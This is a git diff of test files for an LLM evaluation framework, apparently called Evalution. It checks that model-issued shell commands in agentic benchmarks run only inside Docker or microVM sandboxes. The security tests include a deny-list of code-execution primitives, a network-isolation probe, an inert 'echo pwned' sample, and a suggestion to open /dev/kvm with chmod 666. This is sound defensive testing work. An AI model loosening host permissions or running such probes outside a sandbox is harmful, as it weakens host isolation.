- """Run one forward pass for DeepSWE using a local task directory."""
+ """Run the tool loop for DeepSWE using a local task directory."""
_make_local_task_dir(tmp_path, "task-1", "Fix the bug.", "diff --git\n")
- suite = deep_swe(dataset_path=str(tmp_path), max_rows=1, batch_size=1, max_new_tokens=5)
- result = suite.evaluate(FakeSession("diff --git\n"))
+ suite = deep_swe(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=5,
+ agent_runtime=FakeAgentRuntime("applied"),
+ )
+ result = suite.evaluate(FakeSession(["git apply fix.patch", "diff --git"]))
assert result.name == "deep_swe"
assert len(result.samples) == 1
@@ -244,7 +295,7 @@ def test_deep_swe_local_task_forward_pass(tmp_path: Any) -> None:
def test_toolathlon_verified_local_task_forward_pass(tmp_path: Any) -> None:
- """Run one forward pass for Toolathlon-Verified using a local task directory."""
+ """Run the tool loop for Toolathlon-Verified using a local task directory."""
tasks_dir = tmp_path / "tasks"
task_dir = tasks_dir / "task-1"
task_dir.mkdir(parents=True)
@@ -260,9 +311,132 @@ def test_toolathlon_verified_local_task_forward_pass(tmp_path: Any) -> None:
solution_dir.mkdir()
(solution_dir / "solution.patch").write_text("expected tool output")
- suite = toolathlon_verified(dataset_path=str(tmp_path), max_rows=1, batch_size=1, max_new_tokens=5)
- result = suite.evaluate(FakeSession("expected tool output"))
+ suite = toolathlon_verified(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=5,
+ agent_runtime=FakeAgentRuntime("expected tool output"),
+ )
+ result = suite.evaluate(FakeSession(["cat answer", "expected tool output"]))
assert result.name == "toolathlon_verified"
assert len(result.samples) == 1
assert result.samples[0].scores["em"] == 1.0
+
+
+def test_tool_loop_intercepts_and_resumes_inference(tmp_path: Any) -> None:
+ """Evalution intercepts the tool call, executes it on the runtime, and resumes."""
+ _make_local_task_dir(tmp_path, "task-1", "Print the marker.", "marker")
+ runtime = FakeAgentRuntime("marker")
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=5,
+ agent_runtime=runtime,
+ )
+ session = FakeSession(["echo marker", "marker"])
+ result = suite.evaluate(session)
+ sample = result.samples[0]
+
+ assert runtime.commands == ["echo marker"]
+ assert len(session.prompts) == 2
+ assert "Print the marker" in session.prompts[0]
+ assert "echo marker" in session.prompts[1]
+ assert "" in session.prompts[1]
+ assert "marker" in session.prompts[1]
+ assert sample.metadata["tool_turns"] == 2
+ assert sample.metadata["commands_executed"] == 1
+ assert sample.metadata["runtime_type"] == "FakeAgentRuntime"
+ assert sample.scores["em"] == 1.0
+
+
+def test_tool_loop_stops_at_max_tool_turns(tmp_path: Any) -> None:
+ """A model that never stops emitting tool calls terminates at the turn cap."""
+ _make_local_task_dir(tmp_path, "task-1", "Loop forever.", "anything")
+ runtime = FakeAgentRuntime("ignored")
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=5,
+ max_tool_turns=3,
+ agent_runtime=runtime,
+ )
+ result = suite.evaluate(FakeSession("echo loop"))
+
+ sample = result.samples[0]
+ assert sample.metadata["tool_turns"] == 3
+ assert sample.metadata["commands_executed"] == 3
+ assert runtime.commands == ["echo loop"] * 3
+
+
+@pytest.mark.parametrize(
+ "factory",
+ [terminal_bench_21, deep_swe, toolathlon_verified],
+)
+def test_tool_calling_tasks_require_agent_runtime(factory: Any) -> None:
+ """Refuse to evaluate tool-calling suites when no runtime is configured."""
+ suite = factory(dataset_path="/nonexistent-tasks")
+
+ with pytest.raises(ValueError, match="requires.*AgentRuntime"):
+ suite.evaluate(FakeSession("any output"))
+
+
+@pytest.mark.parametrize(
+ "factory",
+ [
+ agentbench,
+ deep_swe,
+ gaia,
+ gaia_level1,
+ gaia_level2,
+ gaia_level3,
+ osworld,
+ swe_atlas_qna,
+ swe_bench,
+ swe_bench_multilingual,
+ swe_bench_pro,
+ terminal_bench_21,
+ toolathlon_verified,
+ webarena,
+ webarena_hard,
+ ],
+)
+def test_agentic_suites_declare_is_agentic(factory: Any) -> None:
+ """Every agentic scaffold carries the declarative is_agentic flag."""
+ assert factory().is_agentic is True
+
+
+@pytest.mark.parametrize(
+ "factory",
+ [terminal_bench_21, deep_swe, toolathlon_verified],
+)
+def test_tool_calling_suites_declare_has_tool_calling(factory: Any) -> None:
+ """Only command-executing suites carry has_tool_calling."""
+ assert factory().has_tool_calling is True
+ assert factory().is_agentic is True
+
+
+def test_text_scaffold_is_not_flagged_as_tool_calling() -> None:
+ """Dataset-backed agentic scaffolds do not execute generated commands."""
+ suite = swe_bench()
+ assert suite.is_agentic is True
+ assert suite.has_tool_calling is False
+
+
+def test_non_agentic_suite_defaults_to_unflagged() -> None:
+ """Regular suites default to both flags off."""
+ suite = babi()
+ assert suite.is_agentic is False
+ assert suite.has_tool_calling is False
+
+
+def test_central_enforcement_applies_to_any_tool_calling_suite() -> None:
+ """The shared pipeline blocks any suite that declares tool calling without a runtime."""
+ suite = babi()
+ suite.has_tool_calling = True
+
+ with pytest.raises(ValueError, match="requires.*AgentRuntime"):
+ suite.evaluate(FakeSession("any output"))
diff --git a/tests/test_agentic_docker.py b/tests/test_agentic_docker.py
deleted file mode 100644
index 1ead532..0000000
--- a/tests/test_agentic_docker.py
+++ /dev/null
@@ -1,56 +0,0 @@
-# SPDX-FileCopyrightText: 2026 ModelCloud.ai
-# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
-# SPDX-License-Identifier: Apache-2.0
-# Contact: qubitium@modelcloud.ai, x.com/qubitium
-
-"""Unit tests for the Docker sandbox used by agentic benchmarks."""
-
-from __future__ import annotations
-
-import subprocess
-
-import pytest
-
-from evalution.benchmarks.agentic_docker import DockerSandbox, extract_command
-
-
-def _docker_available() -> bool:
- try:
- subprocess.run(
- ["docker", "info"],
- capture_output=True,
- check=True,
- )
- return True
- except (OSError, subprocess.CalledProcessError):
- return False
-
-
-@pytest.mark.skipif(not _docker_available(), reason="Docker daemon not available")
-def test_docker_sandbox_run_command() -> None:
- """Run a command in an Alpine container and capture stdout/stderr."""
- sandbox = DockerSandbox(pull="missing")
- result = sandbox.run("echo hello && echo error >&2")
-
- assert result.exit_code == 0
- assert "hello" in result.stdout
- assert "error" in result.stderr
- assert result.duration_s >= 0.0
-
-
-@pytest.mark.skipif(not _docker_available(), reason="Docker daemon not available")
-def test_docker_sandbox_network_isolated() -> None:
- """Verify the default network mode prevents outbound traffic."""
- sandbox = DockerSandbox(pull="missing")
- result = sandbox.run("wget -qO- https://example.com || echo 'network-blocked'")
-
- assert result.exit_code == 0 or "network-blocked" in result.stdout
- assert "Example Domain" not in result.stdout
-
-
-def test_extract_command_strips_fences() -> None:
- """``extract_command`` removes markdown code fences and bash tags."""
- assert extract_command("```bash\necho hello\n```") == "echo hello"
- assert extract_command("```\necho hello\n```") == "echo hello"
- assert extract_command("echo hello") == "echo hello"
- assert extract_command(" echo hello ") == "echo hello"
diff --git a/tests/test_agentic_e2e.py b/tests/test_agentic_e2e.py
new file mode 100644
index 0000000..0e079fd
--- /dev/null
+++ b/tests/test_agentic_e2e.py
@@ -0,0 +1,358 @@
+# SPDX-FileCopyrightText: 2026 ModelCloud.ai
+# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
+# SPDX-License-Identifier: Apache-2.0
+# Contact: qubitium@modelcloud.ai, x.com/qubitium
+
+"""End-to-end agentic runtime verification with real small models.
+
+Runs a real tool-calling benchmark (Terminal-Bench 2.1 task directory) with
+sandboxed runtimes to verify that:
+
+a) model-generated commands execute on the configured runtime, not the host —
+ the task command prints ``container`` only inside an Alpine runtime, and the
+ host is asserted to lack ``/etc/alpine-release`` so a passing score proves
+ non-local execution;
+b) Evalution intercepts tool calls, executes them on the runtime, and resumes
+ inference with the observation appended until the final answer.
+
+Two model classes are covered, matching how models signal tool calls:
+
+- native: Llama-3.2-1B-Instruct is pre-trained with a tool-calling chat
+ template; Evalution passes the OpenAI-style run_command schema
+ through it and parses the model's native response encoding.
+- prompted: Falcon-H1-3B-Instruct has no native tool support; the generic,
+ widely supported marker syntax is injected as a
+ system prompt and parsed from the generation.
+"""
+
+from __future__ import annotations
+
+import os
+import re
+import shutil
+import stat
+import subprocess
+import tempfile
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from evalution.agent_runtime import DockerAgentRuntime, SmolVmAgentRuntime
+from evalution.benchmarks import terminal_bench_21
+from evalution.benchmarks.tool_calling import TOOL_CALL_FENCED_SHELL
+from evalution.config import Model
+
+MODEL_PATH = Path("/monster/data/model/Llama-3.2-1B-Instruct")
+PROMPTED_MODEL_PATH = Path("/monster/data/model/Falcon-H1-3B-Instruct")
+
+# Deterministic single-character probe: prints "0" only where Alpine's
+# release file exists (inside the sandbox runtime), "1" everywhere else.
+TASK_COMMAND = "ls /etc/alpine-release > /dev/null 2>&1; echo $?"
+
+FENCED_INSTRUCTION = (
+ "You are a terminal agent in a sandboxed shell.\n"
+ "When you need to run a command, reply with a single bash code block "
+ "containing exactly the command and nothing else.\n"
+ "Example reply:\n"
+ "```bash\necho hello\n```\n"
+ "After you receive the command output, reply with only the output text "
+ "and nothing else.\n\n"
+ "Task: determine where this shell is running. Run exactly this command:\n"
+ + TASK_COMMAND
+)
+
+PROMPTED_INSTRUCTION = (
+ "Determine where this shell is running. Run exactly this command:\n"
+ + TASK_COMMAND
+ + "\n\nBegin your reply with . Copy the command exactly "
+ "without adding or changing anything."
+)
+
+NATIVE_INSTRUCTION = (
+ "Determine where this shell is running. Run exactly this command:\n"
+ + TASK_COMMAND
+)
+
+
+def _docker_available() -> bool:
+ try:
+ subprocess.run(
+ ["docker", "info"],
+ capture_output=True,
+ check=True,
+ )
+ return True
+ except (OSError, subprocess.CalledProcessError):
+ return False
+
+
+def _build_session(model_path: Path) -> Any:
+ """Build one inference session for the given local model weights."""
+ import torch
+
+ from evalution.engines.transformers_compat import TransformersCompat
+
+ device = "cuda" if torch.cuda.is_available() else "cpu"
+ engine = TransformersCompat(
+ device=device,
+ attn_implementation="eager",
+ batch_size=1,
+ max_new_tokens=96,
+ )
+ return engine.build(Model(path=str(model_path)))
+
+
+@pytest.fixture(scope="module")
+def smolvm_runtime(request: Any) -> Any:
+ """Prepare an offline Alpine rootfs and verify smolvm can boot it.
+
+ smolvm re-resolves registry images on every ephemeral run, so offline
+ execution uses an unpacked rootfs directory exported from the local
+ Docker daemon. The boot probe keeps the test honest about hosts where
+ microVMs cannot actually start (for example nested LXC without working
+ KVM passthrough). Note that smolvm runs its VMM under a per-VM
+ unprivileged UID, so hosts with a root-restricted ``/dev/kvm`` must make
+ it accessible (for example ``chmod 666 /dev/kvm``) for boot to succeed.
+ The unpacked rootfs is likewise built in a world-traversable location.
+ """
+ if shutil.which("smolvm") is None:
+ pytest.skip("smolvm CLI not available")
+ if not _docker_available():
+ pytest.skip("Docker daemon not available (needed to export the Alpine rootfs)")
+
+ container_id = ""
+ try:
+ created = subprocess.run(
+ ["docker", "create", "alpine:latest", "true"],
+ capture_output=True,
+ text=True,
+ check=True,
+ timeout=60,
+ )
+ container_id = created.stdout.strip()
+ exported = subprocess.run(
+ ["docker", "export", container_id],
+ capture_output=True,
+ check=True,
+ timeout=120,
+ )
+ except (OSError, subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
+ pytest.skip(f"cannot export Alpine rootfs for smolvm: {exc}")
+ finally:
+ if container_id:
+ subprocess.run(
+ ["docker", "rm", "-f", container_id],
+ capture_output=True,
+ check=False,
+ timeout=30,
+ )
+
+ # Build the rootfs in a world-traversable location: smolvm's per-VM
+ # uid isolation runs the guest agent as an unprivileged UID that must be
+ # able to read every directory on the path (pytest tmp dirs are 0700).
+ rootfs = Path(tempfile.gettempdir()) / f"evalution-smolvm-alpine-{os.getpid()}"
+ shutil.rmtree(rootfs, ignore_errors=True)
+ rootfs.mkdir(parents=True)
+ os.chmod(rootfs, 0o755)
+ unpack = subprocess.run(
+ ["tar", "-C", str(rootfs), "-xf", "-"],
+ input=exported.stdout,
+ capture_output=True,
+ check=False,
+ timeout=120,
+ )
+ if unpack.returncode != 0:
+ shutil.rmtree(rootfs, ignore_errors=True)
+ pytest.skip(f"cannot unpack Alpine rootfs for smolvm: {unpack.stderr.decode()[:200]}")
+ for current, dirs, files in os.walk(rootfs):
+ try:
+ for name in dirs:
+ path = os.path.join(current, name)
+ os.chmod(path, stat.S_IMODE(os.stat(path).st_mode) | 0o055)
+ for name in files:
+ path = os.path.join(current, name)
+ os.chmod(path, stat.S_IMODE(os.stat(path).st_mode) | 0o044)
+ except OSError:
+ pass
+
+ def _cleanup() -> None:
+ shutil.rmtree(rootfs, ignore_errors=True)
+
+ request.addfinalizer(_cleanup)
+
+ probe = subprocess.run(
+ [
+ shutil.which("smolvm"),
+ "machine",
+ "run",
+ "--image",
+ str(rootfs),
+ "--",
+ "sh",
+ "-c",
+ "echo ok",
+ ],
+ capture_output=True,
+ text=True,
+ check=False,
+ timeout=180,
+ )
+ if probe.returncode != 0 or "ok" not in probe.stdout:
+ reason = probe.stderr.strip().splitlines()[-1] if probe.stderr.strip() else probe.stdout
+ pytest.skip(f"smolvm microVM boot is not functional on this host: {reason[:200]}")
+
+ return SmolVmAgentRuntime(image=str(rootfs))
+
+
+def _make_runtime_task(root: Path, instruction: str) -> None:
+ """Create a Terminal-Bench task whose answer proves runtime execution."""
+ tasks_dir = root / "tasks"
+ task_dir = tasks_dir / "runtime-probe"
+ task_dir.mkdir(parents=True)
+ (task_dir / "instruction.md").write_text(instruction)
+ solution_dir = task_dir / "solution"
+ solution_dir.mkdir()
+ (solution_dir / "solution.patch").write_text("0")
+
+
+def _assert_tool_loop_result(result: Any, runtime_type: str) -> None:
+ """Verify interception, runtime execution, resumed inference, and scoring."""
+ assert len(result.samples) == 1
+ sample = result.samples[0]
+
+ # b) Evalution intercepted the tool call and resumed inference.
+ assert sample.metadata["commands_executed"] >= 1
+ assert sample.metadata["tool_turns"] >= 2
+ assert TASK_COMMAND in sample.extracted["commands"]
+
+ # a) The command executed on the sandbox runtime, not the host.
+ assert sample.metadata["runtime_type"] == runtime_type
+ assert sample.extracted["stdout"].strip() == "0"
+
+ # The model resumed with the observed runtime output as its final answer.
+ assert sample.scores["em"] == 1.0
+ prediction_clean = re.sub(r"<\|[^>]*\|>", "", sample.prediction).strip().strip('"')
+ assert prediction_clean == "0"
+
+
+def test_agentic_e2e_native_tool_calling_model(tmp_path: Path) -> None:
+ """Llama-3.2-1B-Instruct runs the task through its pre-trained native tools."""
+ if not MODEL_PATH.is_dir():
+ pytest.skip("Llama-3.2-1B-Instruct weights not available")
+ if not _docker_available():
+ pytest.skip("Docker daemon not available")
+ # Host sanity: without an Alpine release file, `container` can only come
+ # from inside the sandboxed runtime.
+ assert not Path("/etc/alpine-release").exists()
+
+ session = _build_session(MODEL_PATH)
+ try:
+ _make_runtime_task(tmp_path, NATIVE_INSTRUCTION)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=96,
+ max_tool_turns=4,
+ apply_chat_template=True,
+ tool_call_mode="native",
+ agent_runtime=DockerAgentRuntime(image="alpine:latest", pull="missing"),
+ )
+ result = suite.evaluate(session)
+ finally:
+ session.close()
+
+ # The model's pre-trained native template was used explicitly.
+ assert result.metadata["tool_call_mode"] == "native"
+ assert result.metadata["tool_call_format"] == "native_json"
+ _assert_tool_loop_result(result, "DockerAgentRuntime")
+
+
+def test_agentic_e2e_prompted_tool_calling_model(tmp_path: Path) -> None:
+ """Falcon-H1-3B-Instruct (no native tools) runs via prompted ."""
+ if not PROMPTED_MODEL_PATH.is_dir():
+ pytest.skip("Falcon-H1-3B-Instruct weights not available")
+ if not _docker_available():
+ pytest.skip("Docker daemon not available")
+ assert not Path("/etc/alpine-release").exists()
+
+ session = _build_session(PROMPTED_MODEL_PATH)
+ try:
+ _make_runtime_task(tmp_path, PROMPTED_INSTRUCTION)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=96,
+ max_tool_turns=4,
+ apply_chat_template=True,
+ tool_call_mode="prompted",
+ agent_runtime=DockerAgentRuntime(image="alpine:latest", pull="missing"),
+ )
+ result = suite.evaluate(session)
+ finally:
+ session.close()
+
+ # The generic prompted syntax was used explicitly.
+ assert result.metadata["tool_call_mode"] == "prompted"
+ assert result.metadata["tool_call_format"] == "tool_call_tags"
+ _assert_tool_loop_result(result, "DockerAgentRuntime")
+
+
+def test_agentic_e2e_fenced_shell_protocol(tmp_path: Path) -> None:
+ """Llama-3.2-1B-Instruct also completes the task via fenced_shell protocol."""
+ if not MODEL_PATH.is_dir():
+ pytest.skip("Llama-3.2-1B-Instruct weights not available")
+ if not _docker_available():
+ pytest.skip("Docker daemon not available")
+ assert not Path("/etc/alpine-release").exists()
+
+ session = _build_session(MODEL_PATH)
+ try:
+ _make_runtime_task(tmp_path, FENCED_INSTRUCTION)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=96,
+ max_tool_turns=4,
+ apply_chat_template=True,
+ tool_call_format=TOOL_CALL_FENCED_SHELL,
+ agent_runtime=DockerAgentRuntime(image="alpine:latest", pull="missing"),
+ )
+ result = suite.evaluate(session)
+ finally:
+ session.close()
+
+ _assert_tool_loop_result(result, "DockerAgentRuntime")
+
+
+@pytest.mark.skipif(not MODEL_PATH.is_dir(), reason="Llama-3.2-1B-Instruct weights not available")
+def test_agentic_e2e_smolvm_runtime(
+ smolvm_runtime: Any,
+ tmp_path: Path,
+) -> None:
+ """Llama-3.2-1B-Instruct completes a Terminal-Bench task through a smolvm microVM."""
+ if not _docker_available():
+ pytest.skip("Docker daemon not available (needed to export the Alpine rootfs)")
+ assert not Path("/etc/alpine-release").exists()
+
+ session = _build_session(MODEL_PATH)
+ try:
+ _make_runtime_task(tmp_path, NATIVE_INSTRUCTION)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ batch_size=1,
+ max_new_tokens=96,
+ max_tool_turns=4,
+ apply_chat_template=True,
+ tool_call_mode="native",
+ agent_runtime=smolvm_runtime,
+ )
+ result = suite.evaluate(session)
+ finally:
+ session.close()
+
+ _assert_tool_loop_result(result, "SmolVmAgentRuntime")
diff --git a/tests/test_agentic_security.py b/tests/test_agentic_security.py
new file mode 100644
index 0000000..751fbbc
--- /dev/null
+++ b/tests/test_agentic_security.py
@@ -0,0 +1,294 @@
+# SPDX-FileCopyrightText: 2026 ModelCloud.ai
+# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
+# SPDX-License-Identifier: Apache-2.0
+# Contact: qubitium@modelcloud.ai, x.com/qubitium
+
+"""Strict security tests for agentic benchmark execution.
+
+Guarantees enforced here:
+
+1. Benchmark modules can never execute commands themselves — every execution
+ must route through the configured sandboxed ``BaseAgentRuntime``.
+2. Tool calling is separated from code output: under the declared protocol,
+ 100% of tool calls are captured and routed to the runtime; anything else
+ (plain code output, prose, undeclared formats) is never executed.
+3. Missing runtimes fail closed, for both the loop and single-shot scoring.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from evalution.agent_runtime import AgentRuntimeResult, BaseAgentRuntime
+from evalution.benchmarks import terminal_bench_21
+from evalution.benchmarks.tool_calling import RUN_COMMAND_TOOL, TOOL_CALL_FENCED_SHELL
+from evalution.engines.base import GenerationOutput
+
+_BENCHMARK_SOURCES = [
+ Path("evalution/benchmarks/agentic.py"),
+ Path("evalution/benchmarks/tool_calling.py"),
+]
+
+_FORBIDDEN_EXECUTION_TOKENS = (
+ "subprocess",
+ "os.system",
+ "os.popen",
+ "Popen(",
+ "__import__",
+ "exec(",
+ "eval(",
+)
+
+
+class RecordingRuntime(BaseAgentRuntime):
+ """Sandboxed runtime double that records every routed command."""
+
+ def __init__(self) -> None:
+ self.commands: list[str] = []
+ self.images: list[str | None] = []
+
+ def run(self, command: str, *, image: str | None = None, **kwargs: Any) -> AgentRuntimeResult:
+ del kwargs
+ self.commands.append(command)
+ self.images.append(image)
+ return AgentRuntimeResult(
+ stdout=f"out-of-{command}",
+ stderr="",
+ exit_code=0,
+ command=[command],
+ duration_s=0.0,
+ )
+
+
+class ScriptedSession:
+ """Pops one reply per generate call; extra calls fail loudly."""
+
+ batch_size = 1
+
+ def __init__(self, replies: list[str], tokenizer: Any = None) -> None:
+ self._replies = list(replies)
+ self.prompts: list[Any] = []
+ self.requests: list[Any] = []
+ self.tokenizer = tokenizer
+
+ def generate(self, requests: list[Any], batch_size: int) -> list[GenerationOutput]:
+ del batch_size
+ assert self._replies, "unexpected extra generate() call"
+ prompt_request = requests[0]
+ self.requests.append(prompt_request)
+ self.prompts.append(prompt_request.prompt or prompt_request.messages)
+ text = self._replies.pop(0)
+ return [GenerationOutput(prompt=prompt_request.prompt or "", text=text)]
+
+ def close(self) -> None:
+ pass
+
+ def gc(self) -> None:
+ pass
+
+
+class NativeCapableTokenizer:
+ """Tokenizer double whose chat template accepts native tool schemas."""
+
+ def apply_chat_template(self, messages: Any, **kwargs: Any) -> str:
+ assert kwargs.get("tools"), "native detection must pass the tool schema"
+ return ""
+
+
+def test_auto_mode_resolves_native_for_capable_models(tmp_path: Path) -> None:
+ """Models with pre-trained tool templates use their native format."""
+ _make_task(tmp_path)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ agent_runtime=RecordingRuntime(),
+ )
+ session = ScriptedSession(["done"], tokenizer=NativeCapableTokenizer())
+ mode, fmt = suite._resolve_tool_calling(session)
+
+ assert mode == "native"
+ assert fmt == "native_json"
+
+
+def test_auto_mode_falls_back_to_prompted_syntax(tmp_path: Path) -> None:
+ """Models without native tools fall back to generic markers."""
+ _make_task(tmp_path)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ agent_runtime=RecordingRuntime(),
+ )
+ session = ScriptedSession(["done"]) # no tokenizer => no native support
+ mode, fmt = suite._resolve_tool_calling(session)
+
+ assert mode == "prompted"
+ assert fmt == "tool_call_tags"
+
+
+def test_forced_native_without_support_fails_closed(tmp_path: Path) -> None:
+ """Requesting native mode on an incapable model raises instead of degrading silently."""
+ _make_task(tmp_path)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ tool_call_mode="native",
+ agent_runtime=RecordingRuntime(),
+ )
+ session = ScriptedSession(["done"]) # no tokenizer => not native-capable
+
+ with pytest.raises(ValueError, match="native tool calling"):
+ suite._resolve_tool_calling(session)
+
+
+def test_prompted_mode_cannot_use_native_json(tmp_path: Path) -> None:
+ """Prompted models cannot declare the native_json wire format."""
+ _make_task(tmp_path)
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ tool_call_mode="prompted",
+ tool_call_format="native_json",
+ agent_runtime=RecordingRuntime(),
+ )
+
+ with pytest.raises(ValueError):
+ suite._resolve_tool_calling(ScriptedSession(["done"]))
+
+
+def test_unknown_tool_call_mode_rejected_at_construction(tmp_path: Path) -> None:
+ """Invalid modes fail at construction time, before any model is loaded."""
+ with pytest.raises(ValueError, match="unknown tool_call_mode"):
+ terminal_bench_21(dataset_path=str(tmp_path), tool_call_mode="telepathy")
+
+
+def test_native_tool_calls_route_through_runtime(tmp_path: Path) -> None:
+ """Native JSON responses (python_tag encoding) execute on the sandbox runtime."""
+ _make_task(tmp_path, solution="hi")
+ runtime = RecordingRuntime()
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ tool_call_mode="native",
+ agent_runtime=runtime,
+ )
+ session = ScriptedSession(
+ [
+ '<|python_tag|>{"name": "run_command", "parameters": {"command": "echo hi"}}',
+ "hi",
+ ],
+ tokenizer=NativeCapableTokenizer(),
+ )
+ result = suite.evaluate(session)
+
+ assert runtime.commands == ["echo hi"]
+ turn_request = session.requests[0]
+ assert turn_request.tools == [{"type": "function", "function": RUN_COMMAND_TOOL["function"]}]
+ sample = result.samples[0]
+ assert sample.metadata["tool_call_mode"] == "native"
+ assert sample.scores["em"] == 1.0
+
+
+def _make_task(root: Path, solution: str = "unused") -> Path:
+ tasks_dir = root / "tasks"
+ task_dir = tasks_dir / "security-probe"
+ task_dir.mkdir(parents=True)
+ (task_dir / "instruction.md").write_text("Run the probe.")
+ solution_dir = task_dir / "solution"
+ solution_dir.mkdir()
+ (solution_dir / "solution.patch").write_text(solution)
+ return root
+
+
+def test_benchmark_sources_never_execute_commands_directly() -> None:
+ """Agentic benchmark sources contain no execution primitives at all.
+
+ This is a tripwire: any future direct subprocess/os execution added to
+ benchmark modules fails here instead of silently bypassing the runtime.
+ """
+ for source_path in _BENCHMARK_SOURCES:
+ source = source_path.read_text(encoding="utf-8")
+ for token in _FORBIDDEN_EXECUTION_TOKENS:
+ assert token not in source, f"forbidden {token!r} in {source_path}"
+
+
+def test_code_output_is_inert_under_default_protocol(tmp_path: Path) -> None:
+ """A fenced bash block that is mere code output must never execute."""
+ _make_task(tmp_path)
+ runtime = RecordingRuntime()
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ agent_runtime=runtime,
+ )
+ # The model answers with a plain bash snippet — classic code output.
+ result = suite.evaluate(ScriptedSession(["```bash\necho pwned\n```"]))
+ sample = result.samples[0]
+
+ assert runtime.commands == [], "code output was executed as a tool call"
+ assert sample.metadata["commands_executed"] == 0
+ assert sample.metadata["tool_turns"] == 1
+ # The fence stays inert model output and is treated as the final answer.
+ assert "echo pwned" in sample.prediction
+
+
+def test_declared_protocol_routes_every_tool_call_through_runtime(tmp_path: Path) -> None:
+ """100% of tool calls in one generation execute on the sandbox runtime."""
+ _make_task(tmp_path)
+ runtime = RecordingRuntime()
+ suite = terminal_bench_21(
+ dataset_path=str(tmp_path),
+ max_rows=1,
+ tool_call_format=TOOL_CALL_FENCED_SHELL,
+ agent_runtime=runtime,
+ )
+ session = ScriptedSession([
+ "I will probe.\n```bash\necho one\n```\nthen:\n```sh\necho two\n```",
+ "done",
+ ])
+ suite.evaluate(session)
+
+ assert runtime.commands == ["echo one", "echo two"]
+ assert len(session.prompts) == 2
+ second_turn_prompt = str(session.prompts[1])
+ assert "out-of-echo one" in second_turn_prompt
+ assert "out-of-echo two" in second_turn_prompt
+
+
+def test_task_image_is_routed_to_runtime(tmp_path: Path) -> None:
+ """A task.toml docker_image is forwarded to the runtime, not used locally."""
+ root = _make_task(tmp_path)
+ task_toml = root / "tasks" / "security-probe" / "task.toml"
+ task_toml.write_text(
+ '[environment]\ndocker_image = "harbor/security-probe:7"\n',
+ encoding="utf-8",
+ )
+ runtime = RecordingRuntime()
+ suite = terminal_bench_21(
+ dataset_path=str(root),
+ max_rows=1,
+ agent_runtime=runtime,
+ )
+ suite.evaluate(ScriptedSession(["echo probe", "done"]))
+
+ assert runtime.images == ["harbor/security-probe:7"]
+
+
+def test_missing_runtime_fails_closed_for_loop_and_single_shot(tmp_path: Path) -> None:
+ """Both evaluate() and score_sample() refuse to run without a runtime."""
+ _make_task(tmp_path)
+ suite = terminal_bench_21(dataset_path=str(tmp_path), max_rows=1)
+
+ with pytest.raises(ValueError, match="requires.*AgentRuntime"):
+ suite.evaluate(ScriptedSession(["anything"]))
+
+ from evalution.benchmarks.agentic import _load_local_tasks_dataset
+ from evalution.benchmarks.execution import PreparedSample
+
+ docs = list(_load_local_tasks_dataset(str(tmp_path)))
+ prepared = next(suite.iter_prepared_samples(docs))
+ assert isinstance(prepared, PreparedSample)
+ with pytest.raises(ValueError, match="requires.*AgentRuntime"):
+ suite.score_sample(prepared, GenerationOutput(prompt="p", text="x"))